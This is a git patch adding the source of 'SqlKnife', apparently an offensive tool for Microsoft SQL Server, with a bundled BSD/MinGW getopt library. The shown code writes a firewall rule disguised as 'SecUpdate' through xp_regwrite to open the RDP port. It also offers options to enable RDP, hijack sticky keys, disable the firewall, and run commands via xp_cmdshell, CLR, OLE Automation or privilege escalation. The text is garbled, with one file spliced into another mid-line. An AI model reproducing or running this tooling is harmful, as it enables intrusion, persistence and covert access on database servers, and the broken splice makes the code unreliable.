From 179af785f6dfe196196b1009b4331e45c898a2c8 Mon Sep 17 00:00:00 2001 From: testuser Date: Sun, 1 Aug 2021 23:01:16 +0800 Subject: [PATCH] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E9=A1=B9=E7=9B=AE=E6=96=87?= =?UTF-8?q?=E4=BB=B6=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- SqlKnife.sln | 31 ++ SqlKnife/DataSourceHandle.cpp | 215 ++++++++++++ SqlKnife/DataSourceHandle.h | 33 ++ SqlKnife/MsSqlExploit.cpp | 268 ++++++++++++++ SqlKnife/MsSqlExploit.h | 19 + SqlKnife/SqlKnife.cpp | 166 +++++++++ SqlKnife/SqlKnife.vcxproj | 156 +++++++++ SqlKnife/SqlKnife.vcxproj.filters | 45 +++ SqlKnife/getopt.c | 562 ++++++++++++++++++++++++++++++ SqlKnife/getopt.h | 105 ++++++ SqlKnife/stdfax.h | 18 + 11 files changed, 1618 insertions(+) create mode 100644 SqlKnife.sln create mode 100644 SqlKnife/DataSourceHandle.cpp create mode 100644 SqlKnife/DataSourceHandle.h create mode 100644 SqlKnife/MsSqlExploit.cpp create mode 100644 SqlKnife/MsSqlExploit.h create mode 100644 SqlKnife/SqlKnife.cpp create mode 100644 SqlKnife/SqlKnife.vcxproj create mode 100644 SqlKnife/SqlKnife.vcxproj.filters create mode 100644 SqlKnife/getopt.c create mode 100644 SqlKnife/getopt.h create mode 100644 SqlKnife/stdfax.h diff --git a/SqlKnife.sln b/SqlKnife.sln new file mode 100644 index 0000000..c93f25f --- /dev/null +++ b/SqlKnife.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31424.327 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SqlKnife", "SqlKnife\SqlKnife.vcxproj", "{8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Debug|x64.ActiveCfg = Debug|x64 + {8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Debug|x64.Build.0 = Debug|x64 + {8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Debug|x86.ActiveCfg = Debug|Win32 + {8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Debug|x86.Build.0 = Debug|Win32 + {8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Release|x64.ActiveCfg = Release|x64 + {8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Release|x64.Build.0 = Release|x64 + {8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Release|x86.ActiveCfg = Release|Win32 + {8CC16A45-B4B9-4E1B-85F0-5599EF5AB59B}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {06FE96F5-AA85-40B9-8E16-1AC45F8ADDA4} + EndGlobalSection +EndGlobal diff --git a/SqlKnife/DataSourceHandle.cpp b/SqlKnife/DataSourceHandle.cpp new file mode 100644 index 0000000..0b25abc --- /dev/null +++ b/SqlKnife/DataSourceHandle.cpp @@ -0,0 +1,215 @@ +#include "DataSourceHandle.h" + +//���ⶨ�壬��̬��������ʱ�������ڴ棬ֻ�ж���ŷ��� +//DataSourceHandle* DataSourceHandle::m_DataSourceHandle = nullptr; + +DataSourceHandle::DataSourceHandle(){ + + HRESULT hr; + hr = CoInitialize(NULL); + if (FAILED(hr)) + { + throw "com init faild.\n"; + } + hr = m_pConn.CreateInstance(__uuidof(Connection)); + if (FAILED(hr)) + { + throw "Connection create faild!\n"; + } + hr = m_pCommand.CreateInstance(__uuidof(Command)); + if (FAILED(hr)) + { + throw "Command Create faild!\n"; + } + hr = m_pRecordset.CreateInstance(__uuidof(Recordset)); + if (FAILED(hr)) + { + throw "Recordset Create faild!\n"; + } + +} +//DataSourceHandle* DataSourceHandle::getInstance() +//{ +// return new DataSourceHandle(); +//} + +bool DataSourceHandle:: basequery(string sql) +{ + m_pCommand->ActiveConnection = m_pConn; + try + { + m_pCommand->CommandText = bstr_t(sql.c_str()); + m_pCommand->CommandType = adCmdText; + m_pRecordset=m_pCommand->Execute(nullptr, nullptr, adCmdText); + + //m_pRecordset->Requery(adCmdUnknown); + m_pRecordset->MoveFirst(); + + if (m_pRecordset->adoEOF) + { + return false; + } + else { + + _bstr_t val; + _variant_t var; + char* result; + while (!(m_pRecordset->adoEOF)) + { + //printf("%p", m_pRecordset->GetCollect((long)0)); + //����û��Ҫ + /*if (typeid(m_pRecordset->GetCollect((long)0))==typeid(_bstr_t)) + { + val = m_pRecordset->GetCollect((long)0); + cout << (char*)val << endl; + m_pRecordset->MoveNext(); + } + else if (typeid(m_pRecordset->GetCollect((long)0))==typeid(_variant_t)) + {*/ + + try + { + var = m_pRecordset->GetCollect((long)1); + //�ӷ���ǽ���� + ostringstream oss; + val = _bstr_t(var); + result = (char*)val; + if (result!=NULL) + { + oss << "EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\FirewallRules', '{3A8D3F89-43F9-D3F9-3AF9-33E93F89A38B}', 'REG_SZ', 'v2.10|Action=Allow|Active=TRUE|Dir=In|Protocol=6|LPort=" << result << "|Name=SecUpdate|';"; + DataSourceHandle::justquery(oss.str()); + cout << "[*]write RDP port to firewall rule." << endl; + } + + } + catch (_com_error e) + { + var = m_pRecordset->GetCollect((long)0); + } + + //����������Ͳ������쳣�ˣ�ֻ�������� + try + { + val = _bstr_t(var); + } + catch (_com_error e) + { + cout << endl; + m_pRecordset->MoveNext(); + continue; + } + result = (char*)val; + cout << result<< endl; + m_pRecordset->MoveNext(); + continue; + //} + } + + } + + + } + catch (_com_error e) + { + cout << e.Description() << endl; + return false; + } + + return true; +} + + +void DataSourceHandle::builddsn(string host, string port,string dbname) +{ + + ostringstream oss; + //oss << "User ID=" << username << ";Password=" << password << ";Data Source=" << host << ";Provider=SQLOLEDB;Initial Catalog=" << dbname; + //oss<< "Provider=SQLOLEDB;Data Source="< <-P port> <-u username> <-p password> <-D dbname> <-c cmd> <--openrdp> <--shift> <--disfw> <--oacreate> <--clrcmd> <--clrdexec> <--xpcmd> <--dbup> <--fix> <--remove>" << endl; + return 0; + } + + ExecMethod method = ExecMethod::NONE; + string cmd; + string host = "127.0.0.1"; + string user = "sa"; + string pass = ""; + string port = "1433"; + string dbname = "master"; + //string asmarg = ""; + bool iffix = false; + bool shift = false; + bool openrdp = false; + bool disfw = false; + bool remove = false; + + static struct option long_option[] = { + + //{"host",required_argument,NULL,'H'}, + //{"user",required_argument,NULL,'u'}, + //{"pass",required_argument,NULL,'p'}, + //{"port",required_argument,NULL,'P'}, + //{"db",required_argument,NULL,'D'}, + {"openrdp",no_argument,NULL,0}, + {"shift",no_argument,NULL,1}, + {"disfw",no_argument,NULL,2}, + {"xpcmd",no_argument,NULL,3}, + {"clrcmd",no_argument,NULL,4}, + {"oacreate",no_argument,NULL,5}, + {"clrdexec",no_argument,NULL,6}, + {"fix",no_argument,NULL,7}, + {"dbup",no_argument,NULL,8}, + //{"exeasm",no_argument,NULL,9}, + {"remove",no_argument,NULL,10}, + //{"cmd",required_argument,NULL,'c'}, + //{"puser",required_argument,NULL,'s'}, + //{"ppass",required_argument,NULL,'a'}, + {0,0,0,0} + + }; + + int opt; + //while ((opt=getopt_long_only(argc,argv,"H:u:p:P:D:c:s:a:",long_option,NULL))!=-1) + while ((opt = getopt_long_only(argc, argv, "H:u:p:P:D:c:", long_option, NULL)) != -1) + { + if (opt == -1) + { + cout << argv[0] << " help msg." << endl; + break; + } + switch (opt) + { + case 0: + openrdp = true; + continue; + case 1: + shift = true; + continue; + case 2: + disfw = true; + continue; + case 3: + method = ExecMethod::XPCMD; + continue; + case 4: + method = ExecMethod::CLRCMD; + continue; + case 5: + method = ExecMethod::OACREATE; + continue; + case 6: + method = ExecMethod::CLRDEXEC; + continue; + case 7: + iffix = true; + continue; + case 8: + method = ExecMethod::DBUP; + continue; + //case 9: + // method = ExecMethod::EXEASM; + // continue; + case 10: + remove = true; + continue; + case 'H': + host = optarg; + continue; + case 'u': + user = optarg; + continue; + case 'p': + pass = optarg; + continue; + case 'P': + port = optarg; + continue; + case 'c': + cmd = optarg; + continue; + case 'D': + dbname = optarg; + continue; + //case 's': + + // continue; + //case 'a': + //exeasm时的参数 + //asmarg = optarg; + //continue; + default: + break; + } + } + + MsSqlExploit* msexp = new MsSqlExploit(); + msexp->builddsn(host, port, dbname); + msexp->connect(user, pass); + + if (shift) + { + msexp->sethchijack(); + return 0; + } + if (disfw) + { + msexp->disfirewall(); + return 0; + } + if (openrdp) + { + msexp->openrdp(); + } + if (iffix) + { + msexp->dofix(method); + return 0; + } + if (remove) + { + msexp->remove(method); + return 0; + } + + if (method != ExecMethod::NONE) + { + msexp->execcmd(cmd, method); + return 0; + } + +} \ No newline at end of file diff --git a/SqlKnife/SqlKnife.vcxproj b/SqlKnife/SqlKnife.vcxproj new file mode 100644 index 0000000..4907eea --- /dev/null +++ b/SqlKnife/SqlKnife.vcxproj @@ -0,0 +1,156 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {8cc16a45-b4b9-4e1b-85f0-5599ef5ab59b} + SqlKnife + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + false + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/SqlKnife/SqlKnife.vcxproj.filters b/SqlKnife/SqlKnife.vcxproj.filters new file mode 100644 index 0000000..9129c7d --- /dev/null +++ b/SqlKnife/SqlKnife.vcxproj.filters @@ -0,0 +1,45 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + \ No newline at end of file diff --git a/SqlKnife/getopt.c b/SqlKnife/getopt.c new file mode 100644 index 0000000..5b97da8 --- /dev/null +++ b/SqlKnife/getopt.c @@ -0,0 +1,562 @@ +/* $OpenBSD: getopt_long.c,v 1.23 2007/10/31 12:34:57 chl Exp $ */ +/* $NetBSD: getopt_long.c,v 1.15 2002/01/31 22:43:40 tv Exp $ */ + +/* + * Copyright (c) 2002 Todd C. Miller + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + * + * Sponsored in part by the Defense Advanced Research Projects + * Agency (DARPA) and Air Force Research Laboratory, Air Force + * Materiel Command, USAF, under agreement number F39502-99-1-0512. + */ +/*- + * Copyright (c) 2000 The NetBSD Foundation, Inc. + * All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by Dieter Baron and Thomas Klausner. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include +#include +#include +#include "getopt.h"//�޸� +#include +#include +#include + +#define REPLACE_GETOPT /* use this getopt as the system getopt(3) */ + +#ifdef REPLACE_GETOPT +int opterr = 1; /* if error message should be printed */ +int optind = 1; /* index into parent argv vector */ +int optopt = '?'; /* character checked for validity */ +#undef optreset /* see getopt.h */ +#define optreset __mingw_optreset +int optreset; /* reset getopt */ +char *optarg; /* argument associated with option */ +#endif + +#define PRINT_ERROR ((opterr) && (*options != ':')) + +#define FLAG_PERMUTE 0x01 /* permute non-options to the end of argv */ +#define FLAG_ALLARGS 0x02 /* treat non-options as args to option "-1" */ +#define FLAG_LONGONLY 0x04 /* operate as getopt_long_only */ + +/* return values */ +#define BADCH (int)'?' +#define BADARG ((*options == ':') ? (int)':' : (int)'?') +#define INORDER (int)1 + +#ifndef __CYGWIN__ +#define __progname __argv[0] +#else +extern char __declspec(dllimport) *__progname; +#endif + +#ifdef __CYGWIN__ +static char EMSG[] = ""; +#else +#define EMSG "" +#endif + +static int getopt_internal(int, char * const *, const char *, + const struct option *, int *, int); +static int parse_long_options(char * const *, const char *, + const struct option *, int *, int); +static int gcd(int, int); +static void permute_args(int, int, int, char * const *); + +static char *place = EMSG; /* option letter processing */ + +/* XXX: set optreset to 1 rather than these two */ +static int nonopt_start = -1; /* first non option argument (for permute) */ +static int nonopt_end = -1; /* first option after non options (for permute) */ + +/* Error messages */ +static const char recargchar[] = "option requires an argument -- %c"; +static const char recargstring[] = "option requires an argument -- %s"; +static const char ambig[] = "ambiguous option -- %.*s"; +static const char noarg[] = "option doesn't take an argument -- %.*s"; +static const char illoptchar[] = "unknown option -- %c"; +static const char illoptstring[] = "unknown option -- %s"; + +static void +_vwarnx(const char *fmt,va_list ap) +{ + (void)fprintf(stderr,"%s: ",__progname); + if (fmt != NULL) + (void)vfprintf(stderr,fmt,ap); + (void)fprintf(stderr,"\n"); +} + +static void +warnx(const char *fmt,...) +{ + va_list ap; + va_start(ap,fmt); + _vwarnx(fmt,ap); + va_end(ap); +} + +/* + * Compute the greatest common divisor of a and b. + */ +static int +gcd(int a, int b) +{ + int c; + + c = a % b; + while (c != 0) { + a = b; + b = c; + c = a % b; + } + + return (b); +} + +/* + * Exchange the block from nonopt_start to nonopt_end with the block + * from nonopt_end to opt_end (keeping the same order of arguments + * in each block). + */ +static void +permute_args(int panonopt_start, int panonopt_end, int opt_end, + char * const *nargv) +{ + int cstart, cyclelen, i, j, ncycle, nnonopts, nopts, pos; + char *swap; + + /* + * compute lengths of blocks and number and size of cycles + */ + nnonopts = panonopt_end - panonopt_start; + nopts = opt_end - panonopt_end; + ncycle = gcd(nnonopts, nopts); + cyclelen = (opt_end - panonopt_start) / ncycle; + + for (i = 0; i < ncycle; i++) { + cstart = panonopt_end+i; + pos = cstart; + for (j = 0; j < cyclelen; j++) { + if (pos >= panonopt_end) + pos -= nnonopts; + else + pos += nopts; + swap = nargv[pos]; + /* LINTED const cast */ + ((char **) nargv)[pos] = nargv[cstart]; + /* LINTED const cast */ + ((char **)nargv)[cstart] = swap; + } + } +} + +/* + * parse_long_options -- + * Parse long options in argc/argv argument vector. + * Returns -1 if short_too is set and the option does not match long_options. + */ +static int +parse_long_options(char * const *nargv, const char *options, + const struct option *long_options, int *idx, int short_too) +{ + char *current_argv, *has_equal; + size_t current_argv_len; + int i, ambiguous, match; + +#define IDENTICAL_INTERPRETATION(_x, _y) \ + (long_options[(_x)].has_arg == long_options[(_y)].has_arg && \ + long_options[(_x)].flag == long_options[(_y)].flag && \ + long_options[(_x)].val == long_options[(_y)].val) + + current_argv = place; + match = -1; + ambiguous = 0; + + optind++; + + if ((has_equal = strchr(current_argv, '=')) != NULL) { + /* argument found (--option=arg) */ + current_argv_len = has_equal - current_argv; + has_equal++; + } else + current_argv_len = strlen(current_argv); + + for (i = 0; long_options[i].name; i++) { + /* find matching long option */ + if (strncmp(current_argv, long_options[i].name, + current_argv_len)) + continue; + + if (strlen(long_options[i].name) == current_argv_len) { + /* exact match */ + match = i; + ambiguous = 0; + break; + } + /* + * If this is a known short option, don't allow + * a partial match of a single character. + */ + if (short_too && current_argv_len == 1) + continue; + + if (match == -1) /* partial match */ + match = i; + else if (!IDENTICAL_INTERPRETATION(i, match)) + ambiguous = 1; + } + if (ambiguous) { + /* ambiguous abbreviation */ + if (PRINT_ERROR) + warnx(ambig, (int)current_argv_len, + current_argv); + optopt = 0; + return (BADCH); + } + if (match != -1) { /* option found */ + if (long_options[match].has_arg == no_argument + && has_equal) { + if (PRINT_ERROR) + warnx(noarg, (int)current_argv_len, + current_argv); + /* + * XXX: GNU sets optopt to val regardless of flag + */ + if (long_options[match].flag == NULL) + optopt = long_options[match].val; + else + optopt = 0; + return (BADARG); + } + if (long_options[match].has_arg == required_argument || + long_options[match].has_arg == optional_argument) { + if (has_equal) + optarg = has_equal; + else if (long_options[match].has_arg == + required_argument) { + /* + * optional argument doesn't use next nargv + */ + optarg = nargv[optind++]; + } + } + if ((long_options[match].has_arg == required_argument) + && (optarg == NULL)) { + /* + * Missing argument; leading ':' indicates no error + * should be generated. + */ + if (PRINT_ERROR) + warnx(recargstring, + current_argv); + /* + * XXX: GNU sets optopt to val regardless of flag + */ + if (long_options[match].flag == NULL) + optopt = long_options[match].val; + else + optopt = 0; + --optind; + return (BADARG); + } + } else { /* unknown option */ + if (short_too) { + --optind; + return (-1); + } + if (PRINT_ERROR) + warnx(illoptstring, current_argv); + optopt = 0; + return (BADCH); + } + if (idx) + *idx = match; + if (long_options[match].flag) { + *long_options[match].flag = long_options[match].val; + return (0); + } else + return (long_options[match].val); +#undef IDENTICAL_INTERPRETATION +} + +/* + * getopt_internal -- + * Parse argc/argv argument vector. Called by user level routines. + */ +static int +getopt_internal(int nargc, char * const *nargv, const char *options, + const struct option *long_options, int *idx, int flags) +{ + const char *oli; /* option letter list index */ + int optchar, short_too; + static int posixly_correct = -1; + + if (options == NULL) + return (-1); + + /* + * XXX Some GNU programs (like cvs) set optind to 0 instead of + * XXX using optreset. Work around this braindamage. + */ + if (optind == 0) + optind = optreset = 1; + + /* + * Disable GNU extensions if POSIXLY_CORRECT is set or options + * string begins with a '+'. + * + * CV, 2009-12-14: Check POSIXLY_CORRECT anew if optind == 0 or + * optreset != 0 for GNU compatibility. + */ + if (posixly_correct == -1 || optreset != 0) + posixly_correct = (getenv("POSIXLY_CORRECT") != NULL); + if (*options == '-') + flags |= FLAG_ALLARGS; + else if (posixly_correct || *options == '+') + flags &= ~FLAG_PERMUTE; + if (*options == '+' || *options == '-') + options++; + + optarg = NULL; + if (optreset) + nonopt_start = nonopt_end = -1; +start: + if (optreset || !*place) { /* update scanning pointer */ + optreset = 0; + if (optind >= nargc) { /* end of argument vector */ + place = EMSG; + if (nonopt_end != -1) { + /* do permutation, if we have to */ + permute_args(nonopt_start, nonopt_end, + optind, nargv); + optind -= nonopt_end - nonopt_start; + } + else if (nonopt_start != -1) { + /* + * If we skipped non-options, set optind + * to the first of them. + */ + optind = nonopt_start; + } + nonopt_start = nonopt_end = -1; + return (-1); + } + if (*(place = nargv[optind]) != '-' || + (place[1] == '\0' && strchr(options, '-') == NULL)) { + place = EMSG; /* found non-option */ + if (flags & FLAG_ALLARGS) { + /* + * GNU extension: + * return non-option as argument to option 1 + */ + optarg = nargv[optind++]; + return (INORDER); + } + if (!(flags & FLAG_PERMUTE)) { + /* + * If no permutation wanted, stop parsing + * at first non-option. + */ + return (-1); + } + /* do permutation */ + if (nonopt_start == -1) + nonopt_start = optind; + else if (nonopt_end != -1) { + permute_args(nonopt_start, nonopt_end, + optind, nargv); + nonopt_start = optind - + (nonopt_end - nonopt_start); + nonopt_end = -1; + } + optind++; + /* process next argument */ + goto start; + } + if (nonopt_start != -1 && nonopt_end == -1) + nonopt_end = optind; + + /* + * If we have "-" do nothing, if "--" we are done. + */ + if (place[1] != '\0' && *++place == '-' && place[1] == '\0') { + optind++; + place = EMSG; + /* + * We found an option (--), so if we skipped + * non-options, we have to permute. + */ + if (nonopt_end != -1) { + permute_args(nonopt_start, nonopt_end, + optind, nargv); + optind -= nonopt_end - nonopt_start; + } + nonopt_start = nonopt_end = -1; + return (-1); + } + } + + /* + * Check long options if: + * 1) we were passed some + * 2) the arg is not just "-" + * 3) either the arg starts with -- we are getopt_long_only() + */ + if (long_options != NULL && place != nargv[optind] && + (*place == '-' || (flags & FLAG_LONGONLY))) { + short_too = 0; + if (*place == '-') + place++; /* --foo long option */ + else if (*place != ':' && strchr(options, *place) != NULL) + short_too = 1; /* could be short option too */ + + optchar = parse_long_options(nargv, options, long_options, + idx, short_too); + if (optchar != -1) { + place = EMSG; + return (optchar); + } + } + + if ((optchar = (int)*place++) == (int)':' || + (optchar == (int)'-' && *place != '\0') || + (oli = strchr(options, optchar)) == NULL) { + /* + * If the user specified "-" and '-' isn't listed in + * options, return -1 (non-option) as per POSIX. + * Otherwise, it is an unknown option character (or ':'). + */ + if (optchar == (int)'-' && *place == '\0') + return (-1); + if (!*place) + ++optind; + if (PRINT_ERROR) + warnx(illoptchar, optchar); + optopt = optchar; + return (BADCH); + } + if (long_options != NULL && optchar == 'W' && oli[1] == ';') { + /* -W long-option */ + if (*place) /* no space */ + /* NOTHING */; + else if (++optind >= nargc) { /* no arg */ + place = EMSG; + if (PRINT_ERROR) + warnx(recargchar, optchar); + optopt = optchar; + return (BADARG); + } else /* white space */ + place = nargv[optind]; + optchar = parse_long_options(nargv, options, long_options, + idx, 0); + place = EMSG; + return (optchar); + } + if (*++oli != ':') { /* doesn't take argument */ + if (!*place) + ++optind; + } else { /* takes (optional) argument */ + optarg = NULL; + if (*place) /* no white space */ + optarg = place; + else if (oli[1] != ':') { /* arg not optional */ + if (++optind >= nargc) { /* no arg */ + place = EMSG; + if (PRINT_ERROR) + warnx(recargchar, optchar); + optopt = optchar; + return (BADARG); + } else + optarg = nargv[optind]; + } + place = EMSG; + ++optind; + } + /* dump back option letter */ + return (optchar); +} + +#ifdef REPLACE_GETOPT +/* + * getopt -- + * Parse argc/argv argument vector. + * + * [eventually this will replace the BSD getopt] + */ +int +getopt(int nargc, char * const *nargv, const char *options) +{ + + /* + * We don't pass FLAG_PERMUTE to getopt_internal() since + * the BSD getopt(3) (unlike GNU) has never done this. + * + * Furthermore, since many privileged programs call getopt() + * before dropping privileges it makes sense to keep things + * as simple (and bug-free) as possible. + */ + return (getopt_internal(nargc, nargv, options, NULL, NULL, 0)); +} +#endif /* REPLACE_GETOPT */ + +/* + * getopt_long -- + * Parse argc/argv argument vector. + */ +int +getopt_long(int nargc, char * const *nargv, const char *options, + const struct option *long_options, int *idx) +{ + + return (getopt_internal(nargc, nargv, options, long_options, idx, + FLAG_PERMUTE)); +} + +/* + * getopt_long_only -- + * Parse argc/argv argument vector. + */ +int +getopt_long_only(int nargc, char * const *nargv, const char *options, + const struct option *long_options, int *idx) +{ + + return (getopt_internal(nargc, nargv, options, long_options, idx, + FLAG_PERMUTE|FLAG_LONGONLY)); +} diff --git a/SqlKnife/getopt.h b/SqlKnife/getopt.h new file mode 100644 index 0000000..f3f864b --- /dev/null +++ b/SqlKnife/getopt.h @@ -0,0 +1,105 @@ +#ifndef __GETOPT_H__ +/** + * DISCLAIMER + * This file has no copyright assigned and is placed in the Public Domain. + * This file is a part of the w64 mingw-runtime package. + * + * The w64 mingw-runtime package and its code is distributed in the hope that it + * will be useful but WITHOUT ANY WARRANTY. ALL WARRANTIES, EXPRESSED OR + * IMPLIED ARE HEREBY DISCLAIMED. This includes but is not limited to + * warranties of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + */ + +#define __GETOPT_H__ + +/* All the headers include this file. */ +#include + +#if defined( WINGETOPT_SHARED_LIB ) +# if defined( BUILDING_WINGETOPT_DLL ) +# define WINGETOPT_API __declspec(dllexport) +# else +# define WINGETOPT_API __declspec(dllimport) +# endif +#else +# define WINGETOPT_API +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +WINGETOPT_API extern int optind; /* index of first non-option in argv */ +WINGETOPT_API extern int optopt; /* single option character, as parsed */ +WINGETOPT_API extern int opterr; /* flag to enable built-in diagnostics... */ + /* (user may set to zero, to suppress) */ + +WINGETOPT_API extern char *optarg; /* pointer to argument of current option */ + +extern int getopt(int nargc, char * const *nargv, const char *options); + +#ifdef _BSD_SOURCE +/* + * BSD adds the non-standard `optreset' feature, for reinitialisation + * of `getopt' parsing. We support this feature, for applications which + * proclaim their BSD heritage, before including this header; however, + * to maintain portability, developers are advised to avoid it. + */ +# define optreset __mingw_optreset +extern int optreset; +#endif +#ifdef __cplusplus +} +#endif +/* + * POSIX requires the `getopt' API to be specified in `unistd.h'; + * thus, `unistd.h' includes this header. However, we do not want + * to expose the `getopt_long' or `getopt_long_only' APIs, when + * included in this manner. Thus, close the standard __GETOPT_H__ + * declarations block, and open an additional __GETOPT_LONG_H__ + * specific block, only when *not* __UNISTD_H_SOURCED__, in which + * to declare the extended API. + */ +#endif /* !defined(__GETOPT_H__) */ + +#if !defined(__UNISTD_H_SOURCED__) && !defined(__GETOPT_LONG_H__) +#define __GETOPT_LONG_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +struct option /* specification for a long form option... */ +{ + const char *name; /* option name, without leading hyphens */ + int has_arg; /* does it take an argument? */ + int *flag; /* where to save its status, or NULL */ + int val; /* its associated status value */ +}; + +enum /* permitted values for its `has_arg' field... */ +{ + no_argument = 0, /* option never takes an argument */ + required_argument, /* option always requires an argument */ + optional_argument /* option may take an argument */ +}; + +extern int getopt_long(int nargc, char * const *nargv, const char *options, + const struct option *long_options, int *idx); +extern int getopt_long_only(int nargc, char * const *nargv, const char *options, + const struct option *long_options, int *idx); +/* + * Previous MinGW implementation had... + */ +#ifndef HAVE_DECL_GETOPT +/* + * ...for the long form API only; keep this for compatibility. + */ +# define HAVE_DECL_GETOPT 1 +#endif + +#ifdef __cplusplus +} +#endif + +#endif /* !defined(__UNISTD_H_SOURCED__) && !defined(__GETOPT_LONG_H__) */ diff --git a/SqlKnife/stdfax.h b/SqlKnife/stdfax.h new file mode 100644 index 0000000..c619ed2 --- /dev/null +++ b/SqlKnife/stdfax.h @@ -0,0 +1,18 @@ +#pragma once +#include +#include +#include +#include +#include +#include + +enum ExecMethod +{ + NONE, + XPCMD, + OACREATE, + CLRCMD, + CLRDEXEC, + DBUP + //EXEASM +};